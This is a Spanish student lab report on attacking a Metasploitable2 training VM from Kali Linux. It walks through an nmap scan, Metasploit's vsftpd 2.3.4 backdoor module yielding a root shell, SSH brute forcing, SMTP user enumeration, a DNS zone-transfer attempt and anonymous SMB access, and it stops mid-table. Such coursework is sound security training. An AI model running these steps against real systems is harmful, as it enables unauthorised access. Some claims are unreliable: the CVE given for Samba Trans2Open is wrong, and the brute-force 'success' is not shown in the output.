

LABORATORIO #1

DANIEL SAMIR RODRÍGUEZ PALACIOS

Estudiantes, IX semestre

UNIVERSIDAD TECNOLÓGICA DEL CHOCÓ DIEGO LUIS CÓRDOBA

FACULTAD INGENIERÍA

INGENIERÍA DE TELECOMUNICACIONES E INFORMÁTICA

SEGURIDAD Y AUDITORIA DE REDES

QUIBDÓ-CHOCÓ (COLOMBIA)

2025

LABORAT0ORIO #1

DANIEL SAMIR RODRÍGUEZ PALACIOS

Estudiantes, IX semestre

RAFEL SANDOVAL MORALES

Docente de asignatura

UNIVERSIDAD TECNOLÓGICA DEL CHOCÓ DIEGO LUIS CÓRDOBA

FACULTAD INGENIERÍA

INGENIERÍA DE TELECOMUNICACIONES E INFORMÁTICA

SEGURIDAD Y AUDITORIA DE REDES

QUIBDÓ-CHOCÓ (COLOMBIA)

2025

TABLA DE CONTENIDO

Alcance.....	6
Objetivo general.....	7
Objetivos específicos	7
Planteamiento del problema.....	7
Topología.....	8
Desarrollo de Ejercicio.....	8
Explotación del Puerto 22 – Servicio SSH (OpenSSH 4.7p1 Debian).	15
1. Reconocimiento del Servicio	15
2. Análisis de Vulnerabilidad	15
3. Uso de Módulo Auxiliar en Metasploit para Fuerza Bruta	16
Explotación del Puerto 23 – Servicio Telnet (Linux telnetd).....	18
Intento de Conexión Manual desde Kali Linux	19
Explotación del Puerto 25 – Servicio SMTP (Postfix smtpd)	20
Explotación del Puerto 53 – Servicio DNS (BIND 9.4.2)	23
Explotación del Puerto 139 – Servicio SMB (Samba 3.x)	24
Puerto 445 – SMB over TCP (Samba 3.x).....	26
Puerto 512 – exec (Servicio de ejecución remota).....	27
Puerto 2121/TCP → ProFTPD 1.3.1	28
Puerto 3306/TCP → MySQL 5.0.51a-3ubuntu5.....	29
Puerto 5432/TCP → PostgreSQL 8.3.X	31
Dificultades encontradas y soluciones	32
Dificultad: Al ejecutar comandos como vsftpd 2.3.4 o nc sin los parámetros adecuados, se generaron errores de configuración o conexión.....	32
Solución: Revisar cuidadosamente la sintaxis de los comandos antes de ejecutarlos, y consultar documentación oficial o ayuda (man nmap, man nc) para entender su funcionamiento.	32
Error de negociación SSH:.....	32

Glosario	32
Conclusiones	33
Durante el desarrollo del laboratorio se logró identificar y analizar múltiples servicios vulnerables presentes en la máquina Metasploitable2, utilizando herramientas como Nmap, Netcat y SSH desde Kali Linux. A pesar de enfrentar dificultades técnicas como errores de conexión y comandos mal estructurados, se aplicaron soluciones efectivas que permitieron continuar con el proceso de exploración y validación.	33
Este ejercicio me permitió fortalecer mis habilidades en el escaneo de redes, interpretación de banners, protocolos y uso de herramientas de pentesting. Además, evidencie la importancia de trabajar en entornos actualizados, ya que Metasploitable2, aunque útil para prácticas básicas, presenta limitaciones frente a tecnologías modernas.	33
Bibliografía	33
Webgrafía	33

LISTA DE ILUSTRACIONES

Ilustración 1 Topología	8
Ilustración 2 visualización de ip Metasploitable2	8
Ilustración 3 visualización de ip Kali Linux	9
Ilustración 4 Ping de metasploitable2 a Kali linux	9
Ilustración 5 Ping de Kali Linux a metasploitable2	10
Ilustración 6 Uso del comando nmap -sV	11
Ilustración 7 Carga del Exploit en Metasploit.....	12
Ilustración 8 asociado a esta vulnerabilidad	13
Ilustración 9 carga del exploit.....	13
Ilustración 10 cargar el módulo de explotación	14
Ilustración 11 opciones necesarias	14
Ilustración 12 resultado del run.....	15
Ilustración 13módulo auxiliar.	16
Ilustración 14 Ataque de Fuerza Bruta.....	16
Ilustración 15 usuario manualmente.	17
Ilustración 16 fuerza bruta fue exitoso.....	17
Ilustración 17 Conexión Manual desde Kali Linux	19
Ilustración 18 servicio SMTP	21
Ilustración 19 VRFY para verificar si existen.....	21
Ilustración 20conocer el dominio.....	24
Ilustración 21Enumeración Manual.	25
Ilustración 22 conectarme al recurso tmp	26
Ilustración 23 SMB over TCP (Samba 3.x)	26
Ilustración 24 Servicio de ejecución remota	27
Ilustración 25 ProFTPD 1.3.1	28
Ilustración 26 exploit/unix/ftp/vsftpd_234_backdoor.....	28
Ilustración 27 run, ya estamos adentro.....	29
Ilustración 28 search mysql_login	29
Ilustración 29 mysql_login / run	30
Ilustración 30 mysql y su contenido.	30
Ilustración 31 search postgres_login.....	31

Informe del Laboratorio #1 Reconocimiento y análisis de servicios vulnerables con Nmap

El presente informe detalla las acciones llevadas a cabo durante el desarrollo de una práctica de hacking ético orientada al reconocimiento de servicios expuestos en una máquina vulnerable. El objetivo principal del laboratorio fue identificar puertos abiertos, versiones de servicios y posibles debilidades que podrían ser aprovechadas en fases posteriores de explotación.

Durante la práctica, se trabajó con dos entornos virtuales. Por un lado, la máquina **Metasploitable2** actuó como sistema víctima, simulando una infraestructura desprotegida. Por otro lado, se utilizó una máquina con **Kali Linux** para ejecutar tareas de reconocimiento y análisis pasivo, desempeñando el rol del atacante ético.

El proceso de escaneo se realizó utilizando el comando **nmap -sV 210.210.200.0/24**, con el propósito de detectar servicios activos y sus respectivas versiones en el rango de red objetivo. Posteriormente, se focalizó el análisis sobre el host con IP **210.210.200.5**, en donde se identificaron múltiples servicios potencialmente vulnerables, entre ellos FTP, SSH, Telnet, BIND, Samba, ProFTPD, MySQL y PostgreSQL.

Alcance

Este informe técnico tiene como alcance el análisis de los servicios visibles en los hosts activos dentro del segmento de red **210.210.200.0/24**. Se enfoca específicamente en la IP **210.210.200.5**, identificada como una máquina vulnerable tipo **Metasploitable**. El estudio contempla la detección de servicios, identificación de versiones

Objetivo general

Realizar una exploración de servicios en la red objetivo mediante la herramienta **Nmap**, con el fin de identificar versiones potencialmente vulnerables y establecer un diagnóstico inicial de exposición ante amenazas conocidas.

Objetivos específicos

- Identificar los servicios activos y sus versiones en los hosts disponibles de la red **210.210.200.0/24**.
- Determinar qué servicios presentan vulnerabilidades conocidas por medio de firmas o banners.
- Analizar el nivel de exposición de cada servicio detectado en la **IP 210.210.200.5 (Metasploitable)**.

Planteamiento del problema

En entornos con infraestructura expuesta a redes no confiables, la existencia de servicios sin cifrado, versiones desactualizadas o configuraciones por defecto representan una puerta de entrada para posibles ataques. El uso de herramientas como **Nmap** permite identificar rápidamente estos puntos débiles. En este caso, la **IP 210.210.200.5** presenta múltiples servicios conocidos por su historial de vulnerabilidades (**FTP** sin cifrado, versiones antiguas de **SSH**, servicios de bases de datos accesibles, entre otros), lo que la convierte en un objetivo de alto riesgo desde una perspectiva de seguridad informática.

Topología

(no pude tomar la foto que dejo en el tablero, disculpe)

Ilustración 1 Topología

Desarrollo de Ejercicio

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:b9:b7:44
          inet addr:210.210.200.5  Bcast:210.210.200.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb9:b744/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:99 errors:0 dropped:0 overruns:0 frame:0
          TX packets:177 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:25656 (25.0 KB)  TX bytes:29959 (29.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:657 errors:0 dropped:0 overruns:0 frame:0
          TX packets:657 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:295957 (289.0 KB)  TX bytes:295957 (289.0 KB)

msfadmin@metasploitable:~$
```

Ilustración 2 visualización de ip Metasploitable2


```

root@pater: /home/pater

(root@pater)-[/home/pater]
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 210.210.200.4 netmask 255.255.255.0 broadcast 210.210.200.255
    ether 08:00:27:b7:7a:2a txqueuelen 1000 (Ethernet)
    RX packets 7311 bytes 7827438 (7.4 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 3538 bytes 543571 (530.8 KiB)
    TX errors 0 dropped 20 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 56 bytes 3330 (3.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 56 bytes 3330 (3.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(root@pater)-[/home/pater]
#

```

Ilustración 3 visualización de ip Kali Linux

- 1) Como segundo, verificamos la conexión entre las maquinas a través de ping.

```

msfadmin@metasploitable: ~$
msfadmin@metasploitable: ~$ ping 210.210.200.4
PING 210.210.200.4 (210.210.200.4) 56(84) bytes of data.
64 bytes from 210.210.200.4: icmp_seq=1 ttl=64 time=7.57 ms
64 bytes from 210.210.200.4: icmp_seq=2 ttl=64 time=0.771 ms
64 bytes from 210.210.200.4: icmp_seq=3 ttl=64 time=0.479 ms
64 bytes from 210.210.200.4: icmp_seq=4 ttl=64 time=0.649 ms
64 bytes from 210.210.200.4: icmp_seq=5 ttl=64 time=0.680 ms
64 bytes from 210.210.200.4: icmp_seq=6 ttl=64 time=0.538 ms
64 bytes from 210.210.200.4: icmp_seq=7 ttl=64 time=0.435 ms
64 bytes from 210.210.200.4: icmp_seq=8 ttl=64 time=0.394 ms
64 bytes from 210.210.200.4: icmp_seq=9 ttl=64 time=0.607 ms
64 bytes from 210.210.200.4: icmp_seq=10 ttl=64 time=3.56 ms
64 bytes from 210.210.200.4: icmp_seq=11 ttl=64 time=0.504 ms
64 bytes from 210.210.200.4: icmp_seq=12 ttl=64 time=1.51 ms

```

Ilustración 4 Ping de metasploitable2 a Kali linux

```
(root@pater)-[/home/pater]
# ping 210.210.200.5
PING 210.210.200.5 (210.210.200.5) 56(84) bytes of data.
64 bytes from 210.210.200.5: icmp_seq=1 ttl=64 time=1.63 ms
64 bytes from 210.210.200.5: icmp_seq=2 ttl=64 time=0.560 ms
64 bytes from 210.210.200.5: icmp_seq=3 ttl=64 time=0.514 ms
64 bytes from 210.210.200.5: icmp_seq=4 ttl=64 time=0.402 ms
64 bytes from 210.210.200.5: icmp_seq=5 ttl=64 time=0.508 ms
64 bytes from 210.210.200.5: icmp_seq=6 ttl=64 time=0.516 ms
64 bytes from 210.210.200.5: icmp_seq=7 ttl=64 time=0.480 ms
64 bytes from 210.210.200.5: icmp_seq=8 ttl=64 time=7.80 ms
64 bytes from 210.210.200.5: icmp_seq=9 ttl=64 time=0.527 ms
64 bytes from 210.210.200.5: icmp_seq=10 ttl=64 time=1.99 ms
64 bytes from 210.210.200.5: icmp_seq=11 ttl=64 time=0.507 ms
^Z
zsh: suspended  ping 210.210.200.5
```

Ilustración 5 Ping de Kali Linux a metasploitable2

- 2) Como tercero, desde la máquina virtual de Kali Linux usamos el siguiente comando de nmap: **nmap -sV 210.210.200.5** Este comando descubre qué servicios y sus versiones están corriendo en los puertos abiertos de la IP **210.210.200.5** Lo cual es útil para vulnerabilidad.

```

root@pater: /home/pater

Nmap scan report for 210.210.200.5
Host is up (0.00024s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:B9:B7:44 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

Ilustración 6 Uso del comando nmap -sV

3) Después de investigar el servicio identificado, confirmé que **vsftpd 2.3.4** contiene una vulnerabilidad que se activa cuando se intenta iniciar sesión con un nombre de usuario que contiene la secuencia :). Esto provoca la ejecución de una **shell de comandos remota** en el sistema víctima, si la vulnerabilidad está activa.

- 5) Luego, busqué el exploit asociado a esta vulnerabilidad con:

```

Press SPACE BAR to continue

      =[ metasploit v6.4.64-dev ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd 2.3.4

Matching Modules
=====

#  Name                                     Disclosure Date  Rank       Check  Descriptio
n  ----                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent  No     VSFTPD v2.
3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ft
p/vsftpd_234_backdoor

```

Ilustración 8 asociado a esta vulnerabilidad

- 6) Procedí a cargarlo con:

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

```

Ilustración 9 carga del exploit

- 7) Configuración del Exploit después de cargar el módulo de explotación, configuré la dirección IP de la máquina víctima con el siguiente comando:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 210.210.200.5
RHOST => 210.210.200.5
```

Ilustración 10 cargar el módulo de explotación

- 8) Verifiqué las opciones necesarias con:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	210.210.200.5	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

Ilustración 11 opciones necesarias

- 9) Después de ejecutar el exploit, la consola de **Metasploit** me devolvió una **conexión exitosa** con una **shell** remota abierta en la máquina **Metasploit 2**. Esto demuestra que la vulnerabilidad fue explotada correctamente.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 210.210.200.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 210.210.200.5:21 - USER: 331 Please specify the password.
[+] 210.210.200.5:21 - Backdoor service has been spawned, handling...
[+] 210.210.200.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (210.210.200.4:37187 -> 210.210.200.5:6200) at 2025-08-07 08:41:49 +0200

```

Ilustración 12 resultado del run

Explotación del Puerto 22 – Servicio SSH (OpenSSH 4.7p1 Debian).

1. Reconocimiento del Servicio

Durante el escaneo con **Nmap** realizado desde Kali Linux, identifiqué que la máquina víctima **Metasploit 2** tiene el **puerto 22** abierto, el cual corresponde al servicio **SSH (Secure Shell)**. El banner reveló que el servicio en ejecución es:

OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Este servicio es comúnmente utilizado para conexiones remotas seguras entre equipos. Sin embargo, versiones antiguas de **OpenSSH**, como la **4.7p1**, pueden ser vulnerables a ciertos tipos de ataques como fuerza bruta de credenciales, reutilización de claves débiles o errores de configuración.

2. Análisis de Vulnerabilidad

En esta etapa, investigué si la versión **OpenSSH 4.7p1** tenía alguna vulnerabilidad crítica explotable directamente. No encontré una vulnerabilidad que permitiera ejecución remota directa sin credenciales válidas, pero esta versión es conocida por ser susceptible a:

- Ataques de fuerza bruta (**brute force**) para obtener acceso por nombre de usuario y contraseña.
- Uso de contraseñas débiles por defecto (especialmente en entornos como **Metasploit**).
- Posible exposición de claves **SSH** mal protegidas.

Debido a lo anterior, decidí intentar un ataque de **fuerza bruta de credenciales** usando un módulo auxiliar de **Metasploit**.

3. Uso de Módulo Auxiliar en Metasploit para Fuerza Bruta

```
msf6 > search ssh_login

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/ssh/ssh_login	.	normal	No	SSH Login C
1	auxiliary/scanner/ssh/ssh_login_pubkey	.	normal	No	SSH Public

```
Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
```

Ilustración 13 módulo auxiliar.

10) Configuración del Ataque de Fuerza Bruta

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 210.210.200.5
RHOSTS => 210.210.200.5
```

Ilustración 14 Ataque de Fuerza Bruta.

11) Establecí un usuario manualmente para el intento.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD admin
PASSWORD => admin
```


Ilustración 15 usuario manualmente.

12) Resultado del Ataque

El ataque de fuerza bruta fue exitoso, ya que Metasploitable está diseñado con credenciales vulnerables por defecto. El módulo devolvió un mensaje indicando acceso correcto con:

```
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 210.210.200.5:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```



```
(root@pater)-[/home/pater]
ssh -oHostKeyAlgorithms=+ssh-rsa msfadmin@210.210.200.5
msfadmin@210.210.200.5's password:
Permission denied, please try again.
msfadmin@210.210.200.5's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Wed Aug 6 22:57:55 2025
msfadmin@metasploitable:~$
```

Ilustración 16 fuerza bruta fue exitoso.

13) Aunque el servicio SSH es por naturaleza seguro, su efectividad depende de una buena configuración y credenciales robustas. En este caso, la presencia de una versión antigua y el uso de contraseñas por defecto permitieron que, mediante un ataque de fuerza bruta, pudiera acceder remotamente al sistema.

Explotación del Puerto 23 – Servicio Telnet (Linux telnetd)

- 1) Durante el escaneo de red con **Nmap** desde Kali Linux, detecté que la máquina **Metasploit 2** tiene el **puerto 23** abierto. Este puerto está asociado al servicio **Telnet**, y el banner reveló lo siguiente:

Linux telnetd

Telnet es un protocolo que permite conexiones remotas, pero **transmite las credenciales y los comandos sin cifrado**, lo que lo convierte en un blanco fácil para ataques. Es un protocolo obsoleto y desaconsejado en ambientes reales por motivos de seguridad.

- 2) Análisis de Vulnerabilidad

Telnet por sí solo no tiene una vulnerabilidad crítica en su implementación, pero **su uso inseguro permite ataques de fuerza bruta o acceso directo si se conocen las credenciales**. En Metasploitable 2, es común encontrar usuarios por defecto con contraseñas débiles o públicas.

Por esta razón, decidí realizar un **intento de autenticación directa** con los usuarios conocidos del sistema.

Explotación del Puerto 25 – Servicio SMTP (Postfix smtpd)

1) Reconocimiento del Servicio

Durante el escaneo realizado desde Kali Linux con el comando **nmap -sV**, identifiqué que la máquina Metasploit 2 tiene el **puerto 25** abierto. Este puerto corresponde al servicio de correo **SMTP (Simple Mail Transfer Protocol)**. El banner del escaneo mostró: **Postfix smtpd**

Postfix es un servidor de correo comúnmente utilizado en sistemas Linux. Aunque SMTP es un protocolo legítimo para envío de correos electrónicos, también puede ser explotado si no está correctamente configurado, sobre todo si permite el envío sin autenticación o tiene comandos habilitados que revelen información sensible.

2) Análisis de Vulnerabilidad

El servicio SMTP puede ser utilizado para:

- Enumerar usuarios locales del sistema.
- Enviar correos falsificados (spoofing).
- Aprovechar vulnerabilidades específicas del software si se encuentra desactualizado.

En este caso, el objetivo fue **enumerar usuarios** mediante comandos SMTP como `VRFY` y `EXPN`, que permiten verificar si una cuenta de usuario existe en el sistema.

3) Enumeración Manual de Usuarios vía Netcat

Desde Kali Linux, utilicé la herramienta `netcat` para conectarme al servicio SMTP de Metasploit 2:

```
msf6 > nc 210.210.200.5 25
[*] exec: nc 210.210.200.5 25
```

Ilustración 18 servicio SMTP.

Luego probé el comando VRFY para verificar si existen ciertos usuarios, por ejemplo:

```
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY root
VRFY msfadmin
252 2.0.0 root
252 2.0.0 msfadmin
```

Estas respuestas indicaron que los usuarios **sí existen en el sistema**, lo cual puede ser útil para ataques futuros como fuerza bruta o ingeniería social.

Ilustración 19 VRFY para verificar si existen.

4) Alternativa con Módulo en Metasploit

También verifiqué si existía un módulo en Metasploit para automatizar este tipo de enumeración.

Abrí la consola con:

```
msf6 > search smtp_enum

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/smtp/smtp_enum .               normal  No     SMTP User Enumeration Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smtp/smtp_enum

msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 210.210.200.5
RHOSTS => 210.210.200.5
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/unix_users.txt
USER_FILE => /usr/share/wordlists/unix_users.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > run
[*] 210.210.200.5:25 - 210.210.200.5:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[*] 210.210.200.5:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smtp/smtp_enum) >
```

Ilustración 19 Metasploit para automatizar:

Esto permitió probar múltiples nombres de usuario conocidos, revelando cuáles estaban activos en el sistema.

El servicio SMTP en Metasploit 2 permitió **enumerar usuarios válidos** mediante comandos básicos como VRFY, lo que representa una mala práctica de seguridad. En sistemas reales, esta información puede ser usada por atacantes para lanzar ataques dirigidos, realizar phishing o acceder por fuerza bruta. Como medida preventiva, se recomienda:

- Deshabilitar comandos como VRFY y EXPN.
- Configurar reglas de autenticación estrictas.
- Mantener actualizado el software Postfix.

Explotación del Puerto 53 – Servicio DNS (BIND 9.4.2)

1) Reconocimiento del Servicio

Durante el escaneo con Nmap desde Kali Linux, detecté que el **puerto 53** estaba abierto en la máquina Metasploit 2. Este puerto corresponde al **servicio de resolución de nombres DNS** (Domain Name System). El escaneo identificó que el servidor DNS está utilizando: **ISC BIND 9.4.2**

BIND (Berkeley Internet Name Domain) es uno de los servidores DNS más utilizados en sistemas Unix/Linux. Versiones antiguas de BIND, como la 9.4.2, pueden ser vulnerables a múltiples ataques, incluyendo denegación de servicio (DoS), transferencia de zona sin autenticación, e incluso ejecución remota de código en versiones más desactualizadas.

2) Análisis de Vulnerabilidad

En este caso, el enfoque fue verificar si el servidor BIND permite realizar transferencias de zona (Zone Transfer) sin restricciones. Este tipo de ataque no requiere exploits complejos y permite al atacante obtener una copia completa de los registros DNS del dominio, lo que expone información sensible como:

Nombres de host.

Direcciones IP internas.

Estructura de la red.

Una transferencia de zona mal configurada es una falla común en ambientes inseguros y de prueba, como es el caso de Metasploit 2.

3) Prueba de Transferencia de Zona con dig

Para intentar la transferencia de zona, utilicé la herramienta dig desde Kali Linux. Primero ejecuté una consulta básica para conocer el dominio:

```
msf6 > dig @210.210.200.5 metasploitable.local AXFR
[*] exec: dig @210.210.200.5 metasploitable.local AXFR

; <<>> DiG 9.20.9-1-Debian <<>> @210.210.200.5 metasploitable.local AXFR
; (1 server found)
;; global options: +cmd
; Transfer failed.
```

Ilustración 20 conocer el dominio

En caso de que la transferencia hubiese sido posible, el resultado incluiría una lista completa de nombres de host y sus respectivas IPs. Aun cuando la transferencia falló, el sistema reveló el **nombre del dominio interno**, lo que también representa una fuga de información.

Explotación del Puerto 139 – Servicio SMB (Samba 3.x)

1) 1. Reconocimiento del Servicio

Durante el escaneo de puertos con Nmap, descubrí que el **puerto 139** estaba abierto en la máquina Metasploit 2. Este puerto es utilizado por el **protocolo SMB (Server Message Block)**, que permite el **compartir archivos, impresoras y otros recursos en red**. El banner de Nmap reveló que el servicio está gestionado por: Samba 3.x – Unix

2) Análisis de Vulnerabilidad

La versión de Samba identificada se encuentra entre las afectadas por una **vulnerabilidad crítica conocida como “Samba Trans2Open”**, identificada con el **CVE-2017-7494**, que permite **ejecución remota de código** sin necesidad de autenticación en ciertas condiciones.

Además, servicios SMB mal configurados también pueden permitir:

- Enumeración de usuarios y recursos compartidos.
- Acceso a archivos sin autenticación.
- Escalada de privilegios.

3) Enumeración Manual de Recursos Compartidos

Desde Kali Linux, utilicé el siguiente comando para listar los recursos compartidos disponibles en Metasploit 2: **smbclient -L //210.210.200.5 -N**

```
msf6 > smbclient -L //210.210.200.5 -N
[*] exec: smbclient -L //210.210.200.5 -N

Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt            Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian
))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian
))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server          Comment
  -----
  Workgroup       Master
  -----
  WORKGROUP       METASPLOITABLE
```

Ilustración 21 Enumeración Manual.

Luego intenté conectarme al recurso tmp:

```
msf6 > smbclient //210.210.200.5/tmp -N
[*] exec: smbclient //210.210.200.5/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
```

Ilustración 22 conectarme al recurso tmp

Puerto 445 – SMB over TCP (Samba 3.x)

El **puerto 445** se utiliza para ofrecer servicios de red como el **compartir archivos e impresoras** mediante el protocolo **SMB (Server Message Block)** directamente sobre TCP/IP, sin depender de NetBIOS. Este puerto permite comunicación directa con el servicio Samba y es ampliamente utilizado en entornos Windows. En nuestro entorno de práctica, la máquina **Metasploit 2** está ejecutando **Samba 3.0.20-Debian**, una versión antigua conocida por tener múltiples vulnerabilidades.

- 1) Para verificar los servicios activos en el puerto 445, se utilizó el siguiente escaneo con **nmap** desde Kali Linux

```
(root@pater)-[/home/pater]
# nmap -sV -p 445 210.210.200.5

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 12:28 CEST
Nmap scan report for 210.210.200.5
Host is up (0.00052s latency).

PORT      STATE SERVICE      VERSION
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:B9:B7:44 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.93 seconds
```

Ilustración 23 SMB over TCP (Samba 3.x)

Puerto 512 – exec (Servicio de ejecución remota)

El **puerto 512/TCP** se asocia al servicio **exec** del protocolo **r-services** (remote services), usado principalmente en sistemas Unix antiguos. Este puerto permite ejecutar comandos de forma remota desde otra máquina de confianza sin requerir autenticación interactiva, siempre que el archivo `.rhosts` esté mal configurado o se confíe en el host atacante.

Este servicio es extremadamente inseguro y ha sido reemplazado por tecnologías más seguras como **SSH**. Sin embargo, muchas máquinas vulnerables, como **Metasploit 2**, lo tienen activo por defecto para propósitos educativos.

Reconocimiento del Puerto usando: **nmap -sV -p 512 210.210.200.5**

```
msf6 exploit(multi/samba/usermap_script) > nmap -sV -p 512 210.210.200.5  
[*] exec: nmap -sV -p 512 210.210.200.5
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 13:57 CEST  
Nmap scan report for 210.210.200.5  
Host is up (0.00059s latency).
```

```
PORT      STATE SERVICE VERSION  
512/tcp   open  exec    netkit-rsh rexecd  
MAC Address: 08:00:27:B9:B7:44 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
```

Ilustración 24 Servicio de ejecución remota

Puerto 2121/TCP → ProFTPD 1.3.1

Descripción del servicio

- **ProFTPD** es un servidor FTP muy usado en sistemas Linux/Unix.

```
msf6 > search proftpd

Matching Modules
=====
```

#	Name	Check	Description	Disclos
0	exploit/linux/misc/netsupport_manager_agent			2011-01
-08	average	No	NetSupport Manager Agent Remote Buffer Overflow	
1	exploit/linux/ftp/proftpd_sreplace			2006-11
-26	great	Yes	ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)	
2	_ target: Automatic Targeting			.
3	_ target: Debug			.
4	_ target: ProFTPD 1.3.0 (source install) / Debian 3.1			.
5	exploit/freebsd/ftp/proftpd_telnet_iac			2010-11
